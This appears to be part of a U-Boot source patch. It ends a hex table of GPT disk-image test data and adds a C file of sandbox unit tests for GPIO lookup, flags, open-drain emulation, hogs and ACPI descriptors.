+ {0x00000488, "\xab\x41\xa8\xb9\xa5\xa6\x0d\x23"}, /* .A.....# */ \
+ {0x00000490, "\x57\x24\xf6\xe6\x0b\x6f\x66\x4e"}, /* W$...ofN */ \
+ {0x00000498, "\xb3\xd5\x99\x50\xa5\xc6\x4e\xc1"}, /* ...P..N. */ \
+ {0x000004a0, "\x32\x00\x00\x00\x00\x00\x00\x00"}, /* 2....... */ \
+ {0x000004a8, "\x41\x00\x00\x00\x00\x00\x00\x00"}, /* A....... */ \
+ {0x000004b8, "\x55\x00\x6e\x00\x6b\x00\x6e\x00"}, /* U.n.k.n. */ \
+ {0x000004c0, "\x6f\x00\x77\x00\x6e\x00\x00\x00"}, /* o.w.n... */ \
+ {0x00004400, "\x4e\xd5\x3f\x43\x01\x00\x00\x00"}, /* N.?C.... */ \
+ {0x00004408, "\x00\x00\x00\x00\x01\x00\x00\x00"}, /* ........ */ \
+ {0x00004410, "\x52\xcf\xd7\x09\x20\x07\x10\x47"}, /* R... ..G */ \
+ {0x00004418, "\x91\xd1\x08\x46\x9b\x7f\xe9\xc8"}, /* ...F.... */ \
+ {0x00004420, "\xeb\x2b\x27\x49\xd8\x8d\xdf\x46"}, /* .+'I...F */ \
+ {0x00004428, "\x8d\x75\x35\x6c\x65\xef\xf4\x17"}, /* .u5le... */ \
+ {0x00004430, "\x86\x7a\x05\x10\xf1\xda\x93\x4f"}, /* .z.....O */ \
+ {0x00004438, "\xba\x7f\xb1\x95\xf7\xfa\x41\x70"}, /* ......Ap */ \
+ {0x00004440, "\x01\x00\x00\x00\x00\x00\x00\x00"}, /* ........ */ \
+ {0x00004448, "\x3e\xed\x62\xdb\x37\x62\xb4\x4f"}, /* >.b.7b.O */ \
+ {0x00004450, "\x80\xc4\x1b\x74\xd8\x46\xa8\xe7"}, /* ...t.F.. */ \
+ {0x00004458, "\x01\x00\x00\x00\x00\x00\x00\x00"}, /* ........ */ \
+ {0x00004460, "\xf5\x21\x70\x5a\xf2\xfe\xb4\x48"}, /* .!pZ...H */ \
+ {0x00004468, "\xaa\xba\x83\x2e\x77\x74\x18\xc0"}, /* ....wt.. */ \
+ {0x00004470, "\xeb\x2b\x27\x49\xd8\x8d\xdf\x46"}, /* .+'I...F */ \
+ {0x00004478, "\x8d\x75\x35\x6c\x65\xef\xf4\x17"}, /* .u5le... */ \
+ {0x00004480, "\x3b\x0e\xd2\x0b\x9f\xab\x86\x49"}, /* ;......I */ \
+ {0x00004488, "\xb7\x90\x8d\xf3\x9c\x9c\xa3\x82"}, /* ........ */ \
+ {0x00004490, "\x01\x00\x00\x00\x00\x00\x00\x00"}, /* ........ */ \
+ {0x00004498, "\x6d\xe4\x25\x0e\x15\xb6\xd3\x4c"}, /* m.%....L */ \
+ {0x000044a0, "\x94\xda\x51\x79\x8f\xb1\x9e\xb1"}, /* ..Qy.... */ \
+ {0x000044a8, "\x01\x00\x00\x00\x00\x00\x00\x00"}, /* ........ */ \
+ {0x00006400, "\x4e\xd5\x3f\x43\x01\x00\x00\x00"}, /* N.?C.... */ \
+ {0x00006408, "\x00\x00\x00\x00\x01\x00\x00\x00"}, /* ........ */ \
+ {0x00006410, "\x52\xcf\xd7\x09\x20\x07\x10\x47"}, /* R... ..G */ \
+ {0x00006418, "\x91\xd1\x08\x46\x9b\x7f\xe9\xc8"}, /* ...F.... */ \
+ {0x00006420, "\xeb\x2b\x27\x49\xd8\x8d\xdf\x46"}, /* .+'I...F */ \
+ {0x00006428, "\x8d\x75\x35\x6c\x65\xef\xf4\x17"}, /* .u5le... */ \
+ {0x00006430, "\x86\x7a\x05\x10\xf1\xda\x93\x4f"}, /* .z.....O */ \
+ {0x00006438, "\xba\x7f\xb1\x95\xf7\xfa\x41\x70"}, /* ......Ap */ \
+ {0x00006440, "\x01\x00\x00\x00\x00\x00\x00\x00"}, /* ........ */ \
+ {0x00006448, "\x3e\xed\x62\xdb\x37\x62\xb4\x4f"}, /* >.b.7b.O */ \
+ {0x00006450, "\x80\xc4\x1b\x74\xd8\x46\xa8\xe7"}, /* ...t.F.. */ \
+ {0x00006458, "\x01\x00\x00\x00\x00\x00\x00\x00"}, /* ........ */ \
+ {0x00006460, "\xf5\x21\x70\x5a\xf2\xfe\xb4\x48"}, /* .!pZ...H */ \
+ {0x00006468, "\xaa\xba\x83\x2e\x77\x74\x18\xc0"}, /* ....wt.. */ \
+ {0x00006470, "\xeb\x2b\x27\x49\xd8\x8d\xdf\x46"}, /* .+'I...F */ \
+ {0x00006478, "\x8d\x75\x35\x6c\x65\xef\xf4\x17"}, /* .u5le... */ \
+ {0x00006480, "\x3b\x0e\xd2\x0b\x9f\xab\x86\x49"}, /* ;......I */ \
+ {0x00006488, "\xb7\x90\x8d\xf3\x9c\x9c\xa3\x82"}, /* ........ */ \
+ {0x00006490, "\x01\x00\x00\x00\x00\x00\x00\x00"}, /* ........ */ \
+ {0x00006498, "\x6d\xe4\x25\x0e\x15\xb6\xd3\x4c"}, /* m.%....L */ \
+ {0x000064a0, "\x94\xda\x51\x79\x8f\xb1\x9e\xb1"}, /* ..Qy.... */ \
+ {0x000064a8, "\x01\x00\x00\x00\x00\x00\x00\x00"}, /* ........ */ \
+ {0x0000be00, "\xa0\x84\x7a\x8a\x87\x83\xf6\x40"}, /* ..z....@ */ \
+ {0x0000be08, "\xab\x41\xa8\xb9\xa5\xa6\x0d\x23"}, /* .A.....# */ \
+ {0x0000be10, "\x3d\x6c\xb9\xaa\x20\xb2\x18\x4c"}, /* =l.. ..L */ \
+ {0x0000be18, "\xbc\x87\x1c\x9f\xe0\x35\x9b\x73"}, /* .....5.s */ \
+ {0x0000be20, "\x22\x00\x00\x00\x00\x00\x00\x00"}, /* "....... */ \
+ {0x0000be28, "\x31\x00\x00\x00\x00\x00\x00\x00"}, /* 1....... */ \
+ {0x0000be38, "\x55\x00\x6e\x00\x6b\x00\x6e\x00"}, /* U.n.k.n. */ \
+ {0x0000be40, "\x6f\x00\x77\x00\x6e\x00\x00\x00"}, /* o.w.n... */ \
+ {0x0000be80, "\xa0\x84\x7a\x8a\x87\x83\xf6\x40"}, /* ..z....@ */ \
+ {0x0000be88, "\xab\x41\xa8\xb9\xa5\xa6\x0d\x23"}, /* .A.....# */ \
+ {0x0000be90, "\x57\x24\xf6\xe6\x0b\x6f\x66\x4e"}, /* W$...ofN */ \
+ {0x0000be98, "\xb3\xd5\x99\x50\xa5\xc6\x4e\xc1"}, /* ...P..N. */ \
+ {0x0000bea0, "\x32\x00\x00\x00\x00\x00\x00\x00"}, /* 2....... */ \
+ {0x0000bea8, "\x41\x00\x00\x00\x00\x00\x00\x00"}, /* A....... */ \
+ {0x0000beb8, "\x55\x00\x6e\x00\x6b\x00\x6e\x00"}, /* U.n.k.n. */ \
+ {0x0000bec0, "\x6f\x00\x77\x00\x6e\x00\x00\x00"}, /* o.w.n... */ \
+ {0x0000fe00, "\x45\x46\x49\x20\x50\x41\x52\x54"}, /* EFI PART */ \
+ {0x0000fe08, "\x00\x00\x01\x00\x5c\x00\x00\x00"}, /* ....\... */ \
+ {0x0000fe10, "\xa2\xce\x23\xfc\x00\x00\x00\x00"}, /* ..#..... */ \
+ {0x0000fe18, "\x7f\x00\x00\x00\x00\x00\x00\x00"}, /* ........ */ \
+ {0x0000fe20, "\x01\x00\x00\x00\x00\x00\x00\x00"}, /* ........ */ \
+ {0x0000fe28, "\x22\x00\x00\x00\x00\x00\x00\x00"}, /* "....... */ \
+ {0x0000fe30, "\x5e\x00\x00\x00\x00\x00\x00\x00"}, /* ^....... */ \
+ {0x0000fe38, "\xde\x99\xa2\x7e\x46\x34\xeb\x47"}, /* ...~F4.G */ \
+ {0x0000fe40, "\x87\xf6\x4f\x75\xe8\xd5\x7d\xc7"}, /* ..Ou..}. */ \
+ {0x0000fe48, "\x5f\x00\x00\x00\x00\x00\x00\x00"}, /* _....... */ \
+ {0x0000fe50, "\x80\x00\x00\x00\x80\x00\x00\x00"}, /* ........ */ \
+ {0x0000fe58, "\x2a\x64\x03\x83\x00\x00\x00\x00"}, /* .d...... */ \
+ {0, NULL} } }
diff --git a/test/dm/gpio.c b/test/dm/gpio.c
new file mode 100644
index 00000000000..957ab25c8d3
--- /dev/null
+++ b/test/dm/gpio.c
@@ -0,0 +1,809 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2013 Google, Inc
+ */
+
+#include <fdtdec.h>
+#include <dm.h>
+#include <log.h>
+#include <malloc.h>
+#include <acpi/acpi_device.h>
+#include <asm/gpio.h>
+#include <dm/device-internal.h>
+#include <dm/root.h>
+#include <dm/test.h>
+#include <dm/util.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Test that sandbox GPIOs work correctly */
+static int dm_test_gpio(struct unit_test_state *uts)
+{
+ unsigned int offset, gpio;
+ struct dm_gpio_ops *ops;
+ struct udevice *dev;
+ struct gpio_desc *desc;
+ const char *name;
+ int offset_count;
+ char buf[80];
+
+ /*
+ * We expect to get 4 banks. One is anonymous (just numbered) and
+ * comes from plat. The other are named a (20 gpios),
+ * b (10 gpios) and c (10 gpios) and come from the device tree. See
+ * test/dm/test.dts.
+ */
+ ut_assertok(gpio_lookup_name("b4", &dev, &offset, &gpio));
+ ut_asserteq_str(dev->name, "extra-gpios");
+ ut_asserteq(4, offset);
+ ut_asserteq(CONFIG_SANDBOX_GPIO_COUNT + 20 + 4, gpio);
+
+ name = gpio_get_bank_info(dev, &offset_count);
+ ut_asserteq_str("b", name);
+ ut_asserteq(10, offset_count);
+
+ /* Get the operations for this device */
+ ops = gpio_get_ops(dev);
+ ut_assert(ops->get_function);
+
+ /* Cannot get a value until it is reserved */
+ ut_asserteq(-EBUSY, gpio_get_value(gpio + 1));
+ /*
+ * Now some tests that use the 'sandbox' back door. All GPIOs
+ * should default to input, include b4 that we are using here.
+ */
+ ut_assertok(gpio_get_status(dev, offset, buf, sizeof(buf)));
+ ut_asserteq_str("b4: input: 0 [ ]", buf);
+
+ /* Change it to an output */
+ sandbox_gpio_set_direction(dev, offset, 1);
+ ut_assertok(gpio_get_status(dev, offset, buf, sizeof(buf)));
+ ut_asserteq_str("b4: output: 0 [ ]", buf);
+
+ sandbox_gpio_set_value(dev, offset, 1);
+ ut_assertok(gpio_get_status(dev, offset, buf, sizeof(buf)));
+ ut_asserteq_str("b4: output: 1 [ ]", buf);
+
+ ut_assertok(gpio_request(gpio, "testing"));
+ ut_assertok(gpio_get_status(dev, offset, buf, sizeof(buf)));
+ ut_asserteq_str("b4: output: 1 [x] testing", buf);
+
+ /* Change the value a bit */
+ ut_asserteq(1, ops->get_value(dev, offset));
+ ut_assertok(ops->set_value(dev, offset, 0));
+ ut_asserteq(0, ops->get_value(dev, offset));
+ ut_assertok(gpio_get_status(dev, offset, buf, sizeof(buf)));
+ ut_asserteq_str("b4: output: 0 [x] testing", buf);
+ ut_assertok(ops->set_value(dev, offset, 1));
+ ut_asserteq(1, ops->get_value(dev, offset));
+
+ /* Make it an open drain output, and reset it */
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_IS_OUT_ACTIVE,
+ sandbox_gpio_get_flags(dev, offset));
+ ut_assertok(ops->set_flags(dev, offset,
+ GPIOD_IS_OUT | GPIOD_OPEN_DRAIN));
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_OPEN_DRAIN,
+ sandbox_gpio_get_flags(dev, offset));
+ ut_assertok(ops->set_flags(dev, offset,
+ GPIOD_IS_OUT | GPIOD_IS_OUT_ACTIVE));
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_IS_OUT_ACTIVE,
+ sandbox_gpio_get_flags(dev, offset));
+
+ /* Make it an input */
+ ut_assertok(ops->direction_input(dev, offset));
+ ut_assertok(gpio_get_status(dev, offset, buf, sizeof(buf)));
+ ut_asserteq_str("b4: input: 1 [x] testing", buf);
+ sandbox_gpio_set_value(dev, offset, 0);
+ ut_asserteq(0, sandbox_gpio_get_value(dev, offset));
+ ut_assertok(gpio_get_status(dev, offset, buf, sizeof(buf)));
+ ut_asserteq_str("b4: input: 0 [x] testing", buf);
+
+ ut_assertok(gpio_free(gpio));
+ ut_assertok(gpio_get_status(dev, offset, buf, sizeof(buf)));
+ ut_asserteq_str("b4: input: 0 [ ]", buf);
+
+ /* Check the 'a' bank also */
+ ut_assertok(gpio_lookup_name("a15", &dev, &offset, &gpio));
+ ut_asserteq_str(dev->name, "base-gpios");
+ ut_asserteq(15, offset);
+ ut_asserteq(CONFIG_SANDBOX_GPIO_COUNT + 15, gpio);
+
+ name = gpio_get_bank_info(dev, &offset_count);
+ ut_asserteq_str("a", name);
+ ut_asserteq(20, offset_count);
+
+ /* add gpio hog tests */
+ ut_assertok(gpio_hog_lookup_name("hog_input_active_low", &desc));
+ ut_asserteq(GPIOD_IS_IN | GPIOD_ACTIVE_LOW, desc->flags);
+ ut_asserteq(10, desc->offset);
+ ut_asserteq(1, dm_gpio_get_value(desc));
+ ut_assertok(gpio_hog_lookup_name("hog_input_active_high", &desc));
+ ut_asserteq(GPIOD_IS_IN, desc->flags);
+ ut_asserteq(11, desc->offset);
+ ut_asserteq(0, dm_gpio_get_value(desc));
+ ut_assertok(gpio_hog_lookup_name("hog_output_low", &desc));
+ ut_asserteq(GPIOD_IS_OUT, desc->flags);
+ ut_asserteq(12, desc->offset);
+ ut_asserteq(0, dm_gpio_get_value(desc));
+ ut_assertok(dm_gpio_set_value(desc, 1));
+ ut_asserteq(1, dm_gpio_get_value(desc));
+ ut_assertok(gpio_hog_lookup_name("hog_output_high", &desc));
+ ut_asserteq(GPIOD_IS_OUT, desc->flags);
+ ut_asserteq(13, desc->offset);
+ ut_asserteq(1, dm_gpio_get_value(desc));
+ ut_assertok(dm_gpio_set_value(desc, 0));
+ ut_asserteq(0, dm_gpio_get_value(desc));
+
+ /* Check if lookup for labels work */
+ ut_assertok(gpio_lookup_name("hog_input_active_low", &dev, &offset,
+ &gpio));
+ ut_asserteq_str(dev->name, "base-gpios");
+ ut_asserteq(10, offset);
+ ut_asserteq(CONFIG_SANDBOX_GPIO_COUNT + 10, gpio);
+ ut_assert(gpio_lookup_name("hog_not_exist", &dev, &offset,
+ &gpio));
+
+ return 0;
+}
+DM_TEST(dm_test_gpio, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that GPIO open-drain/open-source emulation works correctly */
+static int dm_test_gpio_opendrain_opensource(struct unit_test_state *uts)
+{
+ struct gpio_desc desc_list[8];
+ struct udevice *dev, *gpio_c;
+ char buf[80];
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+
+ ut_assertok(uclass_get_device(UCLASS_GPIO, 3, &gpio_c));
+ ut_asserteq_str("pinmux-gpios", gpio_c->name);
+
+ ut_asserteq(8, gpio_request_list_by_name(dev, "test3-gpios", desc_list,
+ ARRAY_SIZE(desc_list), 0))
+
+ ut_asserteq(true, !!device_active(gpio_c));
+ ut_asserteq_ptr(gpio_c, desc_list[0].dev);
+ ut_asserteq_ptr(gpio_c, desc_list[1].dev);
+ ut_asserteq_ptr(gpio_c, desc_list[2].dev);
+ ut_asserteq_ptr(gpio_c, desc_list[3].dev);
+ ut_asserteq_ptr(gpio_c, desc_list[4].dev);
+ ut_asserteq_ptr(gpio_c, desc_list[5].dev);
+ ut_asserteq_ptr(gpio_c, desc_list[6].dev);
+ ut_asserteq_ptr(gpio_c, desc_list[7].dev);
+
+ /* GPIO 0 is (GPIO_OUT|GPIO_OPEN_DRAIN) */
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_OPEN_DRAIN,
+ sandbox_gpio_get_flags(gpio_c, 0));
+
+ /* Set it as output high */
+ ut_assertok(dm_gpio_set_value(&desc_list[0], 1));
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_OPEN_DRAIN | GPIOD_IS_OUT_ACTIVE,
+ sandbox_gpio_get_flags(gpio_c, 0));
+
+ /* Set it as output low */
+ ut_assertok(dm_gpio_set_value(&desc_list[0], 0));
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_OPEN_DRAIN,
+ sandbox_gpio_get_flags(gpio_c, 0));
+
+ /* GPIO 1 is (GPIO_OUT|GPIO_OPEN_SOURCE) */
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_OPEN_SOURCE,
+ sandbox_gpio_get_flags(gpio_c, 1));
+
+ /* Set it as output high, should become output high */
+ ut_assertok(dm_gpio_set_value(&desc_list[1], 1));
+ ut_assertok(gpio_get_status(gpio_c, 1, buf, sizeof(buf)));
+ ut_asserteq_str("c1: output: 1 [x] a-test.test3-gpios1", buf);
+
+ /* Set it as output low */
+ ut_assertok(dm_gpio_set_value(&desc_list[1], 0));
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_OPEN_SOURCE,
+ sandbox_gpio_get_flags(gpio_c, 1));
+
+ ut_assertok(gpio_get_status(gpio_c, 1, buf, sizeof(buf)));
+ ut_asserteq_str("c1: output: 0 [x] a-test.test3-gpios1", buf);
+
+ /*
+ * GPIO 6 is (GPIO_ACTIVE_LOW|GPIO_OUT|GPIO_OPEN_DRAIN). Looking at it
+ * directlt from the driver, we get GPIOD_IS_OUT_ACTIVE also, since it
+ * is active low
+ */
+ ut_asserteq(GPIOD_ACTIVE_LOW | GPIOD_IS_OUT | GPIOD_OPEN_DRAIN |
+ GPIOD_IS_OUT_ACTIVE,
+ sandbox_gpio_get_flags(gpio_c, 6));
+
+ /* Set it as output high, should become output low */
+ ut_assertok(dm_gpio_set_value(&desc_list[6], 1));
+ ut_assertok(gpio_get_status(gpio_c, 6, buf, sizeof(buf)));
+ ut_asserteq_str("c6: output: 0 [x] a-test.test3-gpios6", buf);
+
+ /* Set it as output low */
+ ut_assertok(dm_gpio_set_value(&desc_list[6], 0));
+ ut_asserteq(GPIOD_ACTIVE_LOW | GPIOD_IS_OUT | GPIOD_OPEN_DRAIN |
+ GPIOD_IS_OUT_ACTIVE,
+ sandbox_gpio_get_flags(gpio_c, 6));
+
+ /* GPIO 7 is (GPIO_ACTIVE_LOW|GPIO_OUT|GPIO_OPEN_SOURCE) */
+ ut_asserteq(GPIOD_ACTIVE_LOW | GPIOD_IS_OUT | GPIOD_OPEN_SOURCE |
+ GPIOD_IS_OUT_ACTIVE,
+ sandbox_gpio_get_flags(gpio_c, 7));
+
+ /* Set it as output high */
+ ut_assertok(dm_gpio_set_value(&desc_list[7], 1));
+ ut_asserteq(GPIOD_ACTIVE_LOW | GPIOD_IS_OUT | GPIOD_OPEN_SOURCE,
+ sandbox_gpio_get_flags(gpio_c, 7));
+
+ /* Set it as output low, should become output high */
+ ut_assertok(dm_gpio_set_value(&desc_list[7], 0));
+ ut_assertok(gpio_get_status(gpio_c, 7, buf, sizeof(buf)));
+ ut_asserteq_str("c7: output: 1 [x] a-test.test3-gpios7", buf);
+
+ ut_assertok(gpio_free_list(dev, desc_list, 8));
+
+ return 0;
+}
+DM_TEST(dm_test_gpio_opendrain_opensource,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that sandbox anonymous GPIOs work correctly */
+static int dm_test_gpio_anon(struct unit_test_state *uts)
+{
+ unsigned int offset, gpio;
+ struct udevice *dev;
+ const char *name;
+ int offset_count;
+
+ /* And the anonymous bank */
+ ut_assertok(gpio_lookup_name("14", &dev, &offset, &gpio));
+ ut_asserteq_str(dev->name, "sandbox_gpio");
+ ut_asserteq(14, offset);
+ ut_asserteq(14, gpio);
+
+ name = gpio_get_bank_info(dev, &offset_count);
+ ut_asserteq_ptr(NULL, name);
+ ut_asserteq(CONFIG_SANDBOX_GPIO_COUNT, offset_count);
+
+ return 0;
+}
+DM_TEST(dm_test_gpio_anon, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that gpio_requestf() works as expected */
+static int dm_test_gpio_requestf(struct unit_test_state *uts)
+{
+ unsigned int offset, gpio;
+ struct udevice *dev;
+ char buf[80];
+
+ ut_assertok(gpio_lookup_name("b5", &dev, &offset, &gpio));
+ ut_assertok(gpio_requestf(gpio, "testing %d %s", 1, "hi"));
+ sandbox_gpio_set_direction(dev, offset, 1);
+ sandbox_gpio_set_value(dev, offset, 1);
+ ut_assertok(gpio_get_status(dev, offset, buf, sizeof(buf)));
+ ut_asserteq_str("b5: output: 1 [x] testing 1 hi", buf);
+
+ return 0;
+}
+DM_TEST(dm_test_gpio_requestf, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that gpio_request() copies its string */
+static int dm_test_gpio_copy(struct unit_test_state *uts)
+{
+ unsigned int offset, gpio;
+ struct udevice *dev;
+ char buf[80], name[10];
+
+ ut_assertok(gpio_lookup_name("b6", &dev, &offset, &gpio));
+ strcpy(name, "odd_name");
+ ut_assertok(gpio_request(gpio, name));
+ sandbox_gpio_set_direction(dev, offset, 1);
+ sandbox_gpio_set_value(dev, offset, 1);
+ ut_assertok(gpio_get_status(dev, offset, buf, sizeof(buf)));
+ ut_asserteq_str("b6: output: 1 [x] odd_name", buf);
+ strcpy(name, "nothing");
+ ut_assertok(gpio_get_status(dev, offset, buf, sizeof(buf)));
+ ut_asserteq_str("b6: output: 1 [x] odd_name", buf);
+
+ return 0;
+}
+DM_TEST(dm_test_gpio_copy, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that we don't leak memory with GPIOs */
+static int dm_test_gpio_leak(struct unit_test_state *uts)
+{
+ ut_assertok(dm_test_gpio(uts));
+ ut_assertok(dm_test_gpio_anon(uts));
+ ut_assertok(dm_test_gpio_requestf(uts));
+ ut_assertok(dm_leak_check_end(uts));
+
+ return 0;
+}
+DM_TEST(dm_test_gpio_leak, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that we can find GPIOs using phandles */
+static int dm_test_gpio_phandles(struct unit_test_state *uts)
+{
+ struct gpio_desc desc, desc_list[8], desc_list2[8];
+ struct udevice *dev, *gpio_a, *gpio_b;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+
+ ut_assertok(gpio_request_by_name(dev, "test-gpios", 1, &desc, 0));
+ ut_assertok(uclass_get_device(UCLASS_GPIO, 1, &gpio_a));
+ ut_assertok(uclass_get_device(UCLASS_GPIO, 2, &gpio_b));
+ ut_asserteq_str("base-gpios", gpio_a->name);
+ ut_asserteq(true, !!device_active(gpio_a));
+ ut_asserteq_ptr(gpio_a, desc.dev);
+ ut_asserteq(4, desc.offset);
+ /* GPIOF_INPUT is the sandbox GPIO driver default */
+ ut_asserteq(GPIOF_INPUT, gpio_get_function(gpio_a, 4, NULL));
+ ut_assertok(dm_gpio_free(dev, &desc));
+
+ ut_asserteq(-ENOENT, gpio_request_by_name(dev, "test-gpios", 3, &desc,
+ 0));
+ ut_asserteq_ptr(NULL, desc.dev);
+ ut_asserteq(desc.offset, 0);
+ ut_asserteq(-ENOENT, gpio_request_by_name(dev, "test-gpios", 5, &desc,
+ 0));
+
+ /* Last GPIO is ignored as it comes after <0> */
+ ut_asserteq(3, gpio_request_list_by_name(dev, "test-gpios", desc_list,
+ ARRAY_SIZE(desc_list), 0));
+ ut_asserteq(-EBUSY, gpio_request_list_by_name(dev, "test-gpios",
+ desc_list2,
+ ARRAY_SIZE(desc_list2),
+ 0));
+ ut_asserteq(GPIOF_INPUT, gpio_get_function(gpio_a, 4, NULL));
+ ut_assertok(gpio_free_list(dev, desc_list, 3));
+ ut_asserteq(GPIOF_UNUSED, gpio_get_function(gpio_a, 4, NULL));
+ ut_asserteq(3, gpio_request_list_by_name(dev, "test-gpios", desc_list,
+ ARRAY_SIZE(desc_list),
+ GPIOD_IS_OUT |
+ GPIOD_IS_OUT_ACTIVE));
+ ut_asserteq(GPIOF_OUTPUT, gpio_get_function(gpio_a, 4, NULL));
+ ut_asserteq_ptr(gpio_a, desc_list[0].dev);
+ ut_asserteq(1, desc_list[0].offset);
+ ut_asserteq_ptr(gpio_a, desc_list[1].dev);
+ ut_asserteq(4, desc_list[1].offset);
+ ut_asserteq_ptr(gpio_b, desc_list[2].dev);
+ ut_asserteq(5, desc_list[2].offset);
+ ut_asserteq(1, dm_gpio_get_value(desc_list));
+ ut_assertok(gpio_free_list(dev, desc_list, 3));
+
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_IS_OUT_ACTIVE,
+ sandbox_gpio_get_flags(gpio_a, 1));
+ ut_asserteq(6, gpio_request_list_by_name(dev, "test2-gpios", desc_list,
+ ARRAY_SIZE(desc_list), 0));
+
+ /* This was set to output previously but flags reset to 0 = INPUT */
+ ut_asserteq(0, sandbox_gpio_get_flags(gpio_a, 1));
+ ut_asserteq(GPIOF_INPUT, gpio_get_function(gpio_a, 1, NULL));
+
+ /* Active low should invert the input value */
+ ut_asserteq(GPIOF_INPUT, gpio_get_function(gpio_b, 6, NULL));
+ ut_asserteq(1, dm_gpio_get_value(&desc_list[2]));
+
+ ut_asserteq(GPIOF_INPUT, gpio_get_function(gpio_b, 7, NULL));
+ ut_asserteq(GPIOF_OUTPUT, gpio_get_function(gpio_b, 8, NULL));
+ ut_asserteq(0, dm_gpio_get_value(&desc_list[4]));
+ ut_asserteq(GPIOF_OUTPUT, gpio_get_function(gpio_b, 9, NULL));
+ ut_asserteq(1, dm_gpio_get_value(&desc_list[5]));
+
+ return 0;
+}
+DM_TEST(dm_test_gpio_phandles, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Check the gpio pin configuration get from device tree information */
+static int dm_test_gpio_get_dir_flags(struct unit_test_state *uts)
+{
+ struct gpio_desc desc_list[6];
+ struct udevice *dev;
+ ulong flags;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+
+ ut_asserteq(6, gpio_request_list_by_name(dev, "test3-gpios", desc_list,
+ ARRAY_SIZE(desc_list), 0));
+
+ ut_assertok(dm_gpio_get_flags(&desc_list[0], &flags));
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_OPEN_DRAIN, flags);
+
+ ut_assertok(dm_gpio_get_flags(&desc_list[1], &flags));
+ ut_asserteq(GPIOD_IS_OUT | GPIOD_OPEN_SOURCE, flags);
+
+ ut_assertok(dm_gpio_get_flags(&desc_list[2], &flags));
+ ut_asserteq(GPIOD_IS_OUT, flags);
+
+ ut_assertok(dm_gpio_get_flags(&desc_list[3], &flags));
+ ut_asserteq(GPIOD_IS_IN | GPIOD_PULL_UP, flags);
+
+ ut_assertok(dm_gpio_get_flags(&desc_list[4], &flags));
+ ut_asserteq(GPIOD_IS_IN | GPIOD_PULL_DOWN, flags);
+
+ ut_assertok(dm_gpio_get_flags(&desc_list[5], &flags));
+ ut_asserteq(GPIOD_IS_IN, flags);
+
+ ut_assertok(gpio_free_list(dev, desc_list, 6));
+
+ return 0;
+}
+DM_TEST(dm_test_gpio_get_dir_flags, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test of gpio_get_acpi() */
+static int dm_test_gpio_get_acpi(struct unit_test_state *uts)
+{
+ struct acpi_gpio agpio;
+ struct udevice *dev;
+ struct gpio_desc desc;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+ ut_assertok(gpio_request_by_name(dev, "test-gpios", 1, &desc, 0));
+
+ /* See sb_gpio_get_acpi() */
+ ut_assertok(gpio_get_acpi(&desc, &agpio));
+ ut_asserteq(1, agpio.pin_count);
+ ut_asserteq(4, agpio.pins[0]);
+ ut_asserteq(ACPI_GPIO_TYPE_IO, agpio.type);
+ ut_asserteq(ACPI_GPIO_PULL_UP, agpio.pull);
+ ut_asserteq_str("\\_SB.PINC", agpio.resource);
+ ut_asserteq(0, agpio.interrupt_debounce_timeout);
+ ut_asserteq(0, agpio.irq.pin);
+ ut_asserteq(1234, agpio.output_drive_strength);
+ ut_asserteq(true, agpio.io_shared);
+ ut_asserteq(ACPI_GPIO_IO_RESTRICT_INPUT, agpio.io_restrict);
+ ut_asserteq(ACPI_GPIO_ACTIVE_HIGH, agpio.polarity);
+
+ return 0;
+}
+DM_TEST(dm_test_gpio_get_acpi, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test of gpio_get_acpi() with an interrupt GPIO */
+static int dm_test_gpio_get_acpi_irq(struct unit_test_state *uts)
+{
+ struct acpi_gpio agpio;
+ struct udevice *dev;
+ struct gpio_desc desc;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 0, &dev));
+ ut_asserteq_str("a-test", dev->name);
+ ut_assertok(gpio_request_by_name(dev, "test2-gpios", 2, &desc, 0));
+
+ /* See sb_gpio_get_acpi() */
+ ut_assertok(gpio_get_acpi(&desc, &agpio));
+ ut_asserteq(1, agpio.pin_count);
+ ut_asserteq(6, agpio.pins[0]);
+ ut_asserteq(ACPI_GPIO_TYPE_INTERRUPT, agpio.type);
+ ut_asserteq(ACPI_GPIO_PULL_DOWN, agpio.pull);
+ ut_asserteq_str("\\_SB.PINC", agpio.resource);
+ ut_asserteq(4321, agpio.interrupt_debounce_timeout);
+ ut_asserteq(6, agpio.irq.pin);
+ ut_asserteq(ACPI_IRQ_ACTIVE_BOTH, agpio.irq.polarity);
+ ut_asserteq(ACPI_IRQ_SHARED, agpio.irq.shared);
+ ut_asserteq(true, agpio.irq.wake);
+ ut_asserteq(0, agpio.output_drive_strength);
+ ut_asserteq(false, agpio.io_shared);
+ ut_asserteq(0, agpio.io_restrict);
+ ut_asserteq(ACPI_GPIO_ACTIVE_LOW, agpio.polarity);
+
+ return 0;
+}
